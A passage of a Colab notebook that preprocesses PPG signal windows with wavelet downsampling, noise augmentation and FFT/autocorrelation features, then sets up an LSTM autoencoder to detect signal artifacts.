signal\",fontsize=19)\naxs[1].set_xticks([])\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 290} id=\"5yxsnz7YLkt2\" outputId=\"0cfda412-c194-4191-84d2-10ea7c9c837d\"\n# where label is 0 means it is clean\nfig, axs = plt.subplots(2, 1)\naxs[0].plot(X_train[np.where(labels_train == 0)[0][0]].flatten())\naxs[0].tick_params(axis='both', labelsize=14)\naxs[0].set_title(\"(a) clean signal\",fontsize=19)\naxs[0].set_xticks([])\n\n# where label is 1 means it is noisy\naxs[1].plot(X_train[np.where(labels_train == 1)[0][1]].flatten())\naxs[1].tick_params(axis='both', labelsize=14)\naxs[1].set_title(\"(d) artifact signal\",fontsize=19)\naxs[1].set_xticks([])\n\n\n# + [markdown] id=\"yyygiQn9LnPT\"\n# The above picture shows that the artifact signal is, in fact, a clean signal with some noise. This is a mislabeled window. Several windows exist like this one, which could explain why we may have several false negatives (signals labeled as artifacts but classified as clean).\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"usRvct-qKOz4\" outputId=\"37854803-4388-44fd-e103-d2049734de9c\"\nunique, counts = np.unique(labels_train, return_counts=True)\ndict(zip(unique, counts))\n\n# + [markdown] id=\"pRBo4Ed98NvQ\"\n# We have 14570 clean PPG windows and 4518 noisy windows. \n\n# + [markdown] id=\"jWLb736k7Hk5\"\n# ### Downsampling with wavelets\n\n# + id=\"H1ebQNuo6UjM\"\nimport pywt\ndef wavelet_transform(X_train,X_test):\n c=0.5\n dec_lo, dec_hi, rec_lo, rec_hi = [c, c], [-c, c], [c, c], [c, -c]\n filter_bank = [dec_lo, dec_hi, rec_lo, rec_hi]\n myWavelet = pywt.Wavelet(name=\"myHaarWavelet\", filter_bank=filter_bank)\n myWavelet = pywt.Wavelet(name=\"haar\")\n X_train_coeff = np.zeros((X_train.shape[0], int(X_train.shape[1]/4), 1))\n x_ch=0\n i=0\n while i < X_train.shape[0]:\n cA, cD =pywt.dwt(X_train[i].flatten(), myWavelet)\n cA, cD =pywt.dwt(cA, myWavelet)\n X_train_coeff[x_ch,:,:] = cA.reshape(len(cA),1)\n x_ch += 1\n i+=1\n X_test_coeff = np.zeros((X_test.shape[0], int(X_test.shape[1]/4), 1))\n x_ch=0\n i=0\n while i < X_test.shape[0]:\n cA, cD =pywt.dwt(X_test[i].flatten(), myWavelet)\n cA, cD =pywt.dwt(cA, myWavelet)\n X_test_coeff[x_ch,:,:] = cA.reshape(len(cA),1)\n x_ch += 1\n i+=1\n return X_train_coeff,X_test_coeff\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"sLRKZM4f7OX3\" outputId=\"30c4ae9d-7881-46de-a88a-3c8c259b8c36\"\n#Get Wavelet coefficients\nX_train,X_test = wavelet_transform(X_train,X_test)\nprint(\"X train shape: \", X_train.shape)\nprint(\"X test shape: \", X_test.shape)\n\n# + [markdown] id=\"K1Wm2e5H7gLx\"\n# The size of each PPG window is reduced from 312 to 78\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 290} id=\"IahdMp507eQN\" outputId=\"e8962f4a-b762-4ddf-e324-d61a5e9fd25b\"\n# where label is 0 means it is clean\nfig, axs = plt.subplots(2, 1)\naxs[0].plot(X_train[np.where(labels_train == 0)[0][0]].flatten())\naxs[0].tick_params(axis='both', labelsize=14)\naxs[0].set_title(\"(a) clean signal (downsampled)\",fontsize=19)\naxs[0].set_xticks([])\n\n# where label is 1 means it is noisy\naxs[1].plot(X_train[np.where(labels_train == 1)[0][160]].flatten())\naxs[1].tick_params(axis='both', labelsize=14)\naxs[1].set_title(\"(d) noisy signal (downsampled)\",fontsize=19)\naxs[1].set_xticks([])\n\n# + [markdown] id=\"RlpUJ9Vc8i8N\"\n# ### Split the training set into training-validation sets\n\n# + id=\"KReCGv7Q8HHW\"\nfrom sklearn.model_selection import train_test_split\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"O4xykXfU8r3c\" outputId=\"c9aeb254-5b5f-4861-8393-090f9548c4d9\"\nX_train_ae, X_val_ae, Y_train_ae, Y_val_ae = train_test_split(X_train, labels_train, test_size=0.3,random_state=8)\n\nprint(\"Training set\")\nprint(pd.Series(Y_train_ae).value_counts())\nprint(\"Testing set\")\nprint(pd.Series(Y_val_ae).value_counts())\n\n# + [markdown] id=\"HECTtzOHLK0D\"\n# For training the autoencoder, we will be using the X coming from only the negatively labeled data. Therefore, we separate the X corresponding to y = 0.\n#\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"8noDqJjJLEVv\" outputId=\"aadf8d92-fe13-45a7-f09b-555a46b2c0ab\"\nX_train_y0 = X_train_ae[Y_train_ae==0]\nX_train_y1 = X_train_ae[Y_train_ae==1]\nX_valid_y0 = X_val_ae[Y_val_ae==0]\nX_valid_y1 = X_val_ae[Y_val_ae==1]\n\nprint(\"X_train_y0 \", X_train_y0.shape)\nprint(\"X_train_y1 \", X_train_y1.shape)\nprint(\"X_valid_y0 \", X_valid_y0.shape)\nprint(\"X_valid_y1 \", X_valid_y1.shape)\n\n# + [markdown] id=\"8JKtGE1t87aO\"\n# ### Data augmentation (only the clean PPG windows)\n\n# + [markdown] id=\"ePqcOuli-kIl\"\n# #### Gaussian noise\n\n# + id=\"Ha7mwKpI8vuG\"\n#generate gaussian noise\nnoise = 30*np.random.randn(X_train_y0.shape[0],X_train_y0.shape[1],X_train_y0.shape[2]) + 10\nX_temp=X_train_y0+noise\n\nX_train_ae=np.concatenate((X_train_ae,X_temp),axis=0)\nY_train_ae=np.append(Y_train_ae,np.zeros(X_temp.shape[0]))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 289} id=\"ZT_Pl0M09ve-\" outputId=\"c07f4da1-b1e5-46f3-a8e4-bc215e7a0c3f\"\nfig, axs = plt.subplots(2, 1)\naxs[0].plot(X_train_y0[0].flatten())\naxs[0].tick_params(axis='both', labelsize=14)\naxs[0].set_title(\"(a) clean signal\",fontsize=17)\naxs[0].set_xticks([])\n\naxs[1].plot(X_temp[0].flatten())\naxs[1].tick_params(axis='both', labelsize=14)\naxs[1].set_title(\"(d) clean signal + gaussian noise\",fontsize=17)\naxs[1].set_xticks([])\n\n# + [markdown] id=\"HoAZdrbs-m5J\"\n# #### Uniform noise\n\n# + id=\"D57iIIFV-CBV\"\n#generate uniform noise\nnoise = 150*np.random.rand(X_train_y0.shape[0],X_train_y0.shape[1],X_train_y0.shape[2]) + 50\nX_temp=X_train_y0+noise\n\nX_train_ae=np.concatenate((X_train_ae,X_temp),axis=0)\nY_train_ae=np.append(Y_train_ae,np.zeros(X_temp.shape[0]))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 289} id=\"ORRbnETd-XAs\" outputId=\"ee928272-8f6b-419a-ff7e-e3e0cbe3244e\"\nfig, axs = plt.subplots(2, 1)\naxs[0].plot(X_train_y0[0].flatten())\naxs[0].tick_params(axis='both', labelsize=14)\naxs[0].set_title(\"(a) clean signal\",fontsize=17)\naxs[0].set_xticks([])\n\naxs[1].plot(X_temp[0].flatten())\naxs[1].tick_params(axis='both', labelsize=14)\naxs[1].set_title(\"(d) clean signal + uniform noise\",fontsize=17)\naxs[1].set_xticks([])\n\n\n# + [markdown] id=\"MWJhx8aN-1Ne\"\n# #### Scaling\n\n# + id=\"bDZhhyac-Y32\"\n#Scaling\ndef DA_Scaling(X, sigma=0.5):\n scalingFactor = np.random.normal(loc=1.0, scale=sigma, size=(1,X.shape[1])) # shape=(1,3)\n myNoise = np.matmul(np.ones((X.shape[0],1)), scalingFactor)\n return X*myNoise\n \nX_temp=np.zeros((X_train_y0.shape[0],X_train_y0.shape[1],X_train_y0.shape[2]))\nfor i in range(X_train_y0.shape[0]):\n X_temp[i]=DA_Scaling(X_train_y0[i])\n \nX_train_ae=np.concatenate((X_train_ae,X_temp),axis=0)\nY_train_ae=np.append(Y_train_ae,np.zeros(X_temp.shape[0]))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 289} id=\"Xu0rD-Y-_G9u\" outputId=\"db4efbd4-316f-4c9c-f257-54754024cb7e\"\nfig, axs = plt.subplots(2, 1)\naxs[0].plot(X_train_y0[0].flatten())\naxs[0].tick_params(axis='both', labelsize=14)\naxs[0].set_title(\"(a) clean signal\",fontsize=17)\naxs[0].set_xticks([])\n\naxs[1].plot(X_temp[0].flatten())\naxs[1].tick_params(axis='both', labelsize=14)\naxs[1].set_title(\"(d) clean signal + scaling\",fontsize=17)\naxs[1].set_xticks([])\n\n# + [markdown] id=\"UQGa3D3R_Pus\"\n# #### Magnitude-warping\n\n# + id=\"v5X2IUR4_K_r\"\n#Magnitude Warping\nfrom scipy.interpolate import CubicSpline \ndef GenerateRandomCurves(X, sigma=0.2, knot=1):\n xx = (np.ones((X.shape[1],1))*(np.arange(0,X.shape[0], (X.shape[0]-1)/(knot+1)))).transpose()\n yy = np.random.normal(loc=1.0, scale=sigma, size=(knot+2, X.shape[1]))\n x_range = np.arange(X.shape[0])\n cs_x = CubicSpline(xx[:,0], yy[:,0])\n return np.array([cs_x(x_range)]).transpose()\n\n\ndef DA_MagWarp(X, sigma=0.1):\n return X * GenerateRandomCurves(X, sigma)\n\nX_temp=np.zeros((X_train_y0.shape[0],X_train_y0.shape[1],X_train_y0.shape[2]))\nfor i in range(X_train_y0.shape[0]):\n X_temp[i]=DA_MagWarp(X_train_y0[i])\n \nX_train_ae=np.concatenate((X_train_ae,X_temp),axis=0)\nY_train_ae=np.append(Y_train_ae,np.zeros(X_temp.shape[0]))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 289} id=\"OfOAQ3sB_cgR\" outputId=\"42d69873-8d97-4be3-82d5-00e080796dd6\"\nfig, axs = plt.subplots(2, 1)\naxs[0].plot(X_train_y0[0].flatten())\naxs[0].tick_params(axis='both', labelsize=14)\naxs[0].set_title(\"(a) clean signal\",fontsize=17)\naxs[0].set_xticks([])\n\naxs[1].plot(X_temp[0].flatten())\naxs[1].tick_params(axis='both', labelsize=14)\naxs[1].set_title(\"(d) clean signal + magniture warping\",fontsize=17)\naxs[1].set_xticks([])\n\n# + [markdown] id=\"JXICcvjb_uCg\"\n# #### Pink noise \n\n# + id=\"g5NEjKRO_gU1\"\nX_temp=np.zeros((X_train_y0.shape[0],X_train_y0.shape[1],X_train_y0.shape[2]))\nimport scipy.fftpack\nfor i in range(X_train_y0.shape[0]):\n ed = 35\n # 1/f amplitude spectrum\n asi = np.multiply(10*np.random.rand(int(np.floor(X_train_y0.shape[1]/2)-1)) , .1+np.exp(-np.arange(0,int(np.floor(X_train_y0.shape[1]/2)-1))/ed) )\n asi = np.concatenate( (np.asarray([asi[0]]),asi,np.asarray([0]),asi[::-1]),axis=0 )\n # Fourier coefficients\n fc = np.multiply( asi , np.exp(1j*2*np.pi*np.random.rand(len(asi))) )\n # inverse Fourier transform to create the noise\n noise = np.real(scipy.fftpack.ifft(fc)) * X_train_y0.shape[1]\n X_temp[i]=X_train_y0[i] + noise.reshape(len(noise),1)\n\n\nX_train_ae=np.concatenate((X_train_ae,X_temp),axis=0)\nY_train_ae=np.append(Y_train_ae,np.zeros(X_temp.shape[0]))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 289} id=\"n9cPtzEo_5h7\" outputId=\"bd18691b-cda1-44bb-ae5b-d58547cd4bcc\"\nfig, axs = plt.subplots(2, 1)\naxs[0].plot(X_train_y0[0].flatten())\naxs[0].tick_params(axis='both', labelsize=14)\naxs[0].set_title(\"(a) clean signal\",fontsize=17)\naxs[0].set_xticks([])\n\naxs[1].plot(X_temp[0].flatten())\naxs[1].tick_params(axis='both', labelsize=14)\naxs[1].set_title(\"(d) clean signal + pink noise\",fontsize=17)\naxs[1].set_xticks([])\n\n# + [markdown] id=\"4BtoZbvz__tV\"\n# #### Brownian noise \n\n# + id=\"KbJ5RKV6_8re\"\nX_temp=np.zeros((X_train_y0.shape[0],X_train_y0.shape[1],X_train_y0.shape[2]))\nfor i in range(X_train_y0.shape[0]):\n rnoise = 20*np.random.randn(X_train_y0.shape[1]) + 2\n noise = np.cumsum(rnoise)\n X_temp[i]=X_train_y0[i] + noise.reshape(len(noise),1)\n\nX_train_ae=np.concatenate((X_train_ae,X_temp),axis=0)\nY_train_ae=np.append(Y_train_ae,np.zeros(X_temp.shape[0]))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 289} id=\"BUcoEhhOAGW5\" outputId=\"46412d4f-4b4b-46e2-8a07-910d13219bf8\"\nfig, axs = plt.subplots(2, 1)\naxs[0].plot(X_train_y0[0].flatten())\naxs[0].tick_params(axis='both', labelsize=14)\naxs[0].set_title(\"(a) clean signal\",fontsize=17)\naxs[0].set_xticks([])\n\naxs[1].plot(X_temp[0].flatten())\naxs[1].tick_params(axis='both', labelsize=14)\naxs[1].set_title(\"(d) clean signal + brownian noise\",fontsize=17)\naxs[1].set_xticks([])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"DKDyjMcBAI46\" outputId=\"46e49e27-cf03-443e-eef7-76d213094dbf\"\nprint(\"Training Set after Augmentation\")\nprint()\nprint(pd.Series(Y_train_ae).value_counts())\ndel(X_temp)\n\nX_train_y0 = X_train_ae[Y_train_ae==0]\nX_train_y1 = X_train_ae[Y_train_ae==1]\n\n\nprint(\"X_train_y0 afer data augmentation \", X_train_y0.shape)\nprint(\"X_train_y1 afer data augmentation \", X_train_y1.shape)\n\n\n# + [markdown] id=\"aMI4y2CTAv-H\"\n# ### Standardization\n\n# + id=\"52RiTT7gATPn\"\ndef standardize(train,val,test):\n mean=np.mean(train, axis=0)[None,:,:]\n std=np.std(train, axis=0)[None,:,:]\n # standardize train, val, and test\n X_train = (train - mean) / std\n X_val = (val - mean) / std\n X_test = (test - mean) / std\n return X_train,X_val, X_test, mean, std\n\ndef scale(X,mean,std):\n X_scaled = (X - mean) / std\n return X_scaled\n\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"RzZIJIjHA-zz\" outputId=\"fad20af1-50a8-4a31-d0a3-d8063ca68890\"\nX_train_y0,X_val_ae,X_test, mean, std = standardize(X_train_y0,X_val_ae, X_test)\nX_valid_y0 = scale(X_valid_y0,mean,std)\nX_valid_y1 = scale(X_valid_y1,mean,std)\nX_train_y1 = scale(X_train_y1,mean,std)\n\n\nprint('colwise mean', np.mean(X_train_y0, axis=0)[None,:,:].round(6))\nprint('colwise variance', np.var(X_train_y0, axis=0)[None,:,:])\n\n\n# + [markdown] id=\"XAtTKaCCQWCD\"\n# All the means and variances outputted above are 0 and 1, respectively. Therefore, the scaling is correct.\n\n# + [markdown] id=\"uHrlV5O8Im02\"\n# ### Time-Frequency transformation\n\n# + id=\"Xmslz0LeROC_\"\n# Copied From https://github.com/BMClab/BMC/blob/master/notebooks/DetectPeaks.ipynb\n# Thank you Marcos Duarte\n\ndef detect_peaks(x, mph=None, mpd=1, threshold=0, edge='rising',\n kpsh=False, valley=False, show=False, ax=None):\n\n \"\"\"Detect peaks in data based on their amplitude and other features.\n Parameters\n ----------\n x : 1D array_like\n data.\n mph : {None, number}, optional (default = None)\n detect peaks that are greater than minimum peak height.\n mpd : positive integer, optional (default = 1)\n detect peaks that are at least separated by minimum peak distance (in\n number of data).\n threshold : positive number, optional (default = 0)\n detect peaks (valleys) that are greater (smaller) than `threshold`\n in relation to their immediate neighbors.\n edge : {None, 'rising', 'falling', 'both'}, optional (default = 'rising')\n for a flat peak, keep only the rising edge ('rising'), only the\n falling edge ('falling'), both edges ('both'), or don't detect a\n flat peak (None).\n kpsh : bool, optional (default = False)\n keep peaks with same height even if they are closer than `mpd`.\n valley : bool, optional (default = False)\n if True (1), detect valleys (local minima) instead of peaks.\n show : bool, optional (default = False)\n if True (1), plot data in matplotlib figure.\n ax : a matplotlib.axes.Axes instance, optional (default = None).\n Returns\n -------\n ind : 1D array_like\n indeces of the peaks in `x`.\n Notes\n -----\n The detection of valleys instead of peaks is performed internally by simply\n negating the data: `ind_valleys = detect_peaks(-x)`\n \n The function can handle NaN's \n See this IPython Notebook [1]_.\n References\n ----------\n .. [1] http://nbviewer.ipython.org/github/demotu/BMC/blob/master/notebooks/DetectPeaks.ipynb\n Examples\n --------\n >>> from detect_peaks import detect_peaks\n >>> x = np.random.randn(100)\n >>> x[60:81] = np.nan\n >>> # detect all peaks and plot data\n >>> ind = detect_peaks(x, show=True)\n >>> print(ind)\n >>> x = np.sin(2*np.pi*5*np.linspace(0, 1, 200)) + np.random.randn(200)/5\n >>> # set minimum peak height = 0 and minimum peak distance = 20\n >>> detect_peaks(x, mph=0, mpd=20, show=True)\n >>> x = [0, 1, 0, 2, 0, 3, 0, 2, 0, 1, 0]\n >>> # set minimum peak distance = 2\n >>> detect_peaks(x, mpd=2, show=True)\n >>> x = np.sin(2*np.pi*5*np.linspace(0, 1, 200)) + np.random.randn(200)/5\n >>> # detection of valleys instead of peaks\n >>> detect_peaks(x, mph=0, mpd=20, valley=True, show=True)\n >>> x = [0, 1, 1, 0, 1, 1, 0]\n >>> # detect both edges\n >>> detect_peaks(x, edge='both', show=True)\n >>> x = [-2, 1, -2, 2, 1, 1, 3, 0]\n >>> # set threshold = 2\n >>> detect_peaks(x, threshold = 2, show=True)\n \"\"\"\n\n x = np.atleast_1d(x).astype('float64')\n if x.size < 3:\n return np.array([], dtype=int)\n if valley:\n x = -x\n # find indices of all peaks\n dx = x[1:] - x[:-1]\n # handle NaN's\n indnan = np.where(np.isnan(x))[0]\n if indnan.size:\n x[indnan] = np.inf\n dx[np.where(np.isnan(dx))[0]] = np.inf\n ine, ire, ife = np.array([[], [], []], dtype=int)\n if not edge:\n ine = np.where((np.hstack((dx, 0)) < 0) & (np.hstack((0, dx)) > 0))[0]\n else:\n if edge.lower() in ['rising', 'both']:\n ire = np.where((np.hstack((dx, 0)) <= 0) & (np.hstack((0, dx)) > 0))[0]\n if edge.lower() in ['falling', 'both']:\n ife = np.where((np.hstack((dx, 0)) < 0) & (np.hstack((0, dx)) >= 0))[0]\n ind = np.unique(np.hstack((ine, ire, ife)))\n # handle NaN's\n if ind.size and indnan.size:\n # NaN's and values close to NaN's cannot be peaks\n ind = ind[np.in1d(ind, np.unique(np.hstack((indnan, indnan-1, indnan+1))), invert=True)]\n # first and last values of x cannot be peaks\n if ind.size and ind[0] == 0:\n ind = ind[1:]\n if ind.size and ind[-1] == x.size-1:\n ind = ind[:-1]\n # remove peaks < minimum peak height\n if ind.size and mph is not None:\n ind = ind[x[ind] >= mph]\n # remove peaks - neighbors < threshold\n if ind.size and threshold > 0:\n dx = np.min(np.vstack([x[ind]-x[ind-1], x[ind]-x[ind+1]]), axis=0)\n ind = np.delete(ind, np.where(dx < threshold)[0])\n # detect small peaks closer than minimum peak distance\n if ind.size and mpd > 1:\n ind = ind[np.argsort(x[ind])][::-1] # sort ind by peak height\n idel = np.zeros(ind.size, dtype=bool)\n for i in range(ind.size):\n if not idel[i]:\n # keep peaks with the same height if kpsh is True\n idel = idel | (ind >= ind[i] - mpd) & (ind <= ind[i] + mpd) \\\n & (x[ind[i]] > x[ind] if kpsh else True)\n idel[i] = 0 # Keep current peak\n # remove the small peaks and sort back the indices by their occurrence\n ind = np.sort(ind[~idel])\n return ind\n\n\n# + [markdown] id=\"a-iZ67UiJQsu\"\n# Before downsampling: \n#\n#\n# * Fs = 52 Hz\n# * Window = Fs x 6 = 312 samples\n#\n# After downsampling: \n#\n#\n#\n# * Fs = 13 Hz\n# * Window = Fs x 6 = 78 samples\n#\n#\n#\n# We will divide each window into two : 2 windows of (Fs x 3) = 39 samples\n#\n# The objective is to pass from a tensor of (num samples, 78 , 1) \n# to (num samples, Fs x 3 = 39, num features)\n#\n# In this example, the features are extracted using the Discrete Fourier Transform. \n\n# + id=\"8fd397XT8o3P\"\nt_n = 3 # each sub-window = 3 seconds\nN = int(X_train_y0.shape[1]/2) # number of elements in each sub-window = 78/2 = 39\nT = t_n / N # period\nf_s = 1/T # frequency\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 282} id=\"RTpVa2bt55KH\" outputId=\"59441a51-3e14-488a-9e58-003be7646469\"\ni = 30699\nsignal_test = X_train_y0[i,:N,0].flatten()\nplt.plot(signal_test)\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 300} id=\"-er8R4648KEP\" outputId=\"aec2f696-3aec-4cef-e241-b844cf45bb4b\"\ndef get_mph(signal, percentile): #min peak height\n signal_min = np.nanpercentile(signal, percentile)\n signal_max = np.nanpercentile(signal, 100-percentile)\n #(100 - 2*percentile)/10\n mph = signal_min + (signal_max - signal_min)/10 #minimum peak height\n return mph\n\nmph = get_mph(signal_test,90)\n# average time difference between peaks\ndef get_avg_timediff(signal, mph, N,t_n):\n ind = detect_peaks(signal,mph)\n if len(ind) == 0:\n return 0\n if len(ind) == 1:\n return 0\n avgdiff = np.mean(np.diff(ind))\n return (avgdiff*t_n)/N\n\n\n\nind = detect_peaks(signal_test,mph)\nprint(ind)\n\nplt.plot(signal_test)\nplt.scatter(ind,signal_test[ind],color=\"red\")\nprint(\"Average time difference between peaks: \", get_avg_timediff(signal_test,mph,N,t_n))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 302} id=\"m_yG8p8aItuM\" outputId=\"1491cf76-1c7a-44bf-f8b6-d6ab81686b86\"\nfrom scipy.fftpack import fft\ndef get_fft_values(y_values, T, N, f_s):\n f_values = np.linspace(0.0, 1.0/(2.0*T), N//2)\n fft_values_ = fft(y_values)\n fft_values = 2.0/N * np.abs(fft_values_[0:N//2])\n return f_values, fft_values\n\n\n\n# Example\nf_values, fft_values = get_fft_values(signal_test, T, N, f_s)\n\nind = detect_peaks(fft_values,get_mph(fft_values,5))\nplt.scatter(f_values[ind],fft_values[ind],color=\"red\")\nplt.plot(f_values, fft_values, linestyle='-', color='blue')\nplt.xlabel('Frequency [Hz]', fontsize=16)\nplt.ylabel('Amplitude', fontsize=16)\nplt.title(\"Frequency domain of the signal\", fontsize=16)\nplt.show()\n\n\n# + [markdown] id=\"-JGoR9yuLn2T\"\n# Since our signal in each sub-window is sampled at a rate f_s of 13 Hz, the FFT will return the frequency spectrum up to a frequency of f_s / 2 = 6 Hz. \n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 279} id=\"Zyb8pktg5Nvw\" outputId=\"93d19a4f-06ac-4e6a-f177-4a3c8ba8aaa5\"\ndef autocorr(x):\n result = np.correlate(x, x, mode='full')\n return result[len(result)//2:]\n \ndef get_autocorr_values(y_values, T, N, f_s):\n autocorr_values = autocorr(y_values)\n x_values = np.array([T * jj for jj in range(0, N)])\n return x_values, autocorr_values\n\nt_values, autocorr_values = get_autocorr_values(signal_test, T, N, f_s)\n\nind = detect_peaks(autocorr_values,get_mph(fft_values,5))\nplt.scatter(t_values[ind],autocorr_values[ind],color=\"red\")\n\nplt.plot(t_values, autocorr_values, linestyle='-', color='blue')\nplt.xlabel('time delay [s]')\nplt.ylabel('Autocorrelation amplitude')\nplt.show()\n\n\n# + id=\"8h5qxXJWMJ20\"\ndef get_first_n_peaks(x,y,no_peaks=5):\n x_, y_ = list(x), list(y)\n if len(x_) >= no_peaks:\n return x_[:no_peaks], y_[:no_peaks]\n else:\n missing_no_peaks = no_peaks-len(x_)\n return x_ + [0]*missing_no_peaks, y_ + [0]*missing_no_peaks\n \ndef get_features(x_values, y_values, mph,no_peaks=5):\n indices_peaks = detect_peaks(y_values, mph=mph)\n peaks_x, peaks_y = get_first_n_peaks(x_values[indices_peaks], y_values[indices_peaks],no_peaks)\n return peaks_x + peaks_y\n \ndef extract_features(signal, T, N, f_s):\n features = []\n mph = get_mph(signal,5)\n features += get_features(*get_fft_values(signal, T, N, f_s), mph, 4)\n features += get_features(*get_autocorr_values(signal, T, N, f_s), mph, 3)\n features += [get_avg_timediff(signal,get_mph(signal,90),N,t_n)]\n return np.array(features)\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"PjnBWzexTOqI\" outputId=\"2ec5eeed-f05a-4a61-ce61-6b34ffacda89\"\ndef transform_tensors(X, T, N, f_s):\n X_features = []\n for i in range(len(X)):\n windows = []\n windows.append(extract_features(X[i,:N,0].flatten(), T, N, f_s))\n windows.append(extract_features(X[i,N:,0].flatten(), T, N, f_s))\n X_features.append(windows)\n return np.array(X_features)\n\nX_train_y0_features = transform_tensors(X_train_y0, T, N, f_s)\nprint(\"X_train_y0_features \", X_train_y0_features.shape)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"ciqDEzieVnb1\" outputId=\"639b0f41-db92-4108-9e51-98637f88316a\"\nprint(X_train_y0_features[0,0,:])\nprint(X_train_y0_features[0,1,:])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"6KH6phzMXDU0\" outputId=\"a041206f-9846-417e-d280-603d4704bab2\"\nX_val_ae_features = transform_tensors(X_val_ae, T, N, f_s)\nX_valid_y0_features = transform_tensors(X_valid_y0, T, N, f_s)\nX_valid_y1_features = transform_tensors(X_valid_y1, T, N, f_s)\nprint(\"X_val_ae_features \", X_val_ae_features.shape)\nprint(\"X_valid_y0_features \", X_valid_y0_features.shape)\nprint(\"X_valid_y1_features \", X_valid_y1_features.shape)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"RuCxa1zHXv7L\" outputId=\"489b4de2-0ad0-480e-bb11-f295fcb06950\"\nX_test_features = transform_tensors(X_test, T, N, f_s)\nprint(\"X_test_features \", X_test_features.shape)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"pDiCLkOCOzsg\" outputId=\"d4858d33-fe5f-4045-ca6c-ce683b9e5f43\"\nX_train_y1_features = transform_tensors(X_train_y1, T, N, f_s)\nprint(\"X_train_y1_features \", X_train_y1_features.shape)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"4r5JPw8cOd7C\" outputId=\"2efa2ed7-a260-43a9-9270-2ef88863a8dd\"\n# Standardizing the features\nX_train_y0_features,X_val_ae_features,X_test_features, mean_features, std_features = standardize(X_train_y0_features,X_val_ae_features, X_test_features)\nX_valid_y0_features = scale(X_valid_y0_features,mean_features,std_features)\nX_valid_y1_features = scale(X_valid_y1_features,mean_features,std_features)\nX_train_y1_features = scale(X_train_y1_features,mean_features,std_features)\n\n\nprint('colwise mean', np.mean(X_train_y0_features, axis=0)[None,:,:].round(6))\nprint('colwise variance', np.var(X_train_y0_features, axis=0)[None,:,:])\n\n# + [markdown] id=\"X3PQrslj-PPb\"\n# ### Training an autoencoder in an unsupervised way\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"8BeB8C4QBJoV\" outputId=\"f02c82fd-d629-4db5-c6e5-e3cd4728ba92\"\nepochs =400\nbatch = 128\ntimesteps = X_train_y0_features.shape[1] # equal to the lookback\nn_features = X_train_y0_features.shape[2] # equal the features\nlr = 0.0001\n\nprint(\"Epochs: \", epochs)\nprint(\"batch size: \", batch)\nprint(\"lookback: \", timesteps)\nprint(\"dimension: \", n_features)\nprint(\"learning rate: \", lr)\n\n# perhaps there is a need to optimize the hyperparams? \n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"hwMtBPNTfgUp\" outputId=\"fadb04cf-d2aa-48ec-d89a-fe863a78803e\"\nprint(np.count_nonzero(np.isnan(X_train_y0_features[None,:,:])))\nprint(np.count_nonzero(np.isnan(X_train_y0_features[None,:,:])))\nprint(np.min(X_train_y0_features[None,:,:]))\nprint(np.max(X_train_y0_features[None,:,:]))\n\nprint(np.where(X_train_y0_features[None,:,:]>400))\n\n# + id=\"bVUi6VaB-rX2\"\nimport tensorflow\nfrom tensorflow.keras.layers import Dense, LSTM, RepeatVector, TimeDistributed,Dropout,GaussianNoise\nfrom tensorflow.keras import optimizers, Sequential\nfrom tensorflow.keras.layers import Conv1D, MaxPooling1D,Bidirectional\n\n\n# + id=\"vCNZt1mM-1bM\"\ndef autoencoder(timesteps,n_features):\n model = Sequential()\n model.add(Conv1D(filters=32, kernel_size=5, padding='same', activation='relu', kernel_initializer='he_uniform',input_shape=(timesteps, n_features)))\n #model.add(MaxPooling1D(pool_size=2))\n model.add(Dropout(0.3))\n model.add(Bidirectional(LSTM(32, activation='relu',kernel_initializer= 'he_uniform', return_sequences=False)))\n model.add(RepeatVector(timesteps))\n model.add(Dropout(0.3))\n model.add(LSTM(32, activation='relu',kernel_initializer='he_uniform', return_sequences=True))\n model.add(GaussianNoise(0.001))\n model.add(TimeDistributed(Dense(units=n_features))) \n print(model.summary())\n return model\n\ndef train(model,epochs,batch,lr):\n adam = optimizers.Adam(lr, clipvalue=0.5)\n model.compile(loss='mse', optimizer=adam)\n history = model.fit(X_train_y0_features,\n X_train_y0_features, \n epochs=epochs, \n batch_size=batch, \n shuffle=True,\n validation_data=(X_valid_y0_features, X_valid_y0_features)).history\n return history\n\n\ndef load(model,weights_path):\n model.load_weights(weights_path)\n\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"VjmdUyseCuTA\" outputId=\"9941febf-cd9e-4e31-d1d2-4d551b60fee0\"\nmodel = autoencoder(timesteps,n_features)\n\n# + id=\"AEzG6jJMRRyi\"\n#history = train(model,epochs,batch,lr)\nload(model,weights_path)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"tkLvxZZ3PodI\" outputId=\"3f0a76f3-7325-4b6f-9f3c-af7e7d698a5c\"\n# We set the threshold equal to the training loss of the autoencoder\nthreshold=0.08769089\n\nvalidation_set_predictions=model.predict(X_val_ae_features)\n\n# + id=\"p6e5K254R-VN\" colab={\"base_uri\": \"https://localhost:8080/\"} 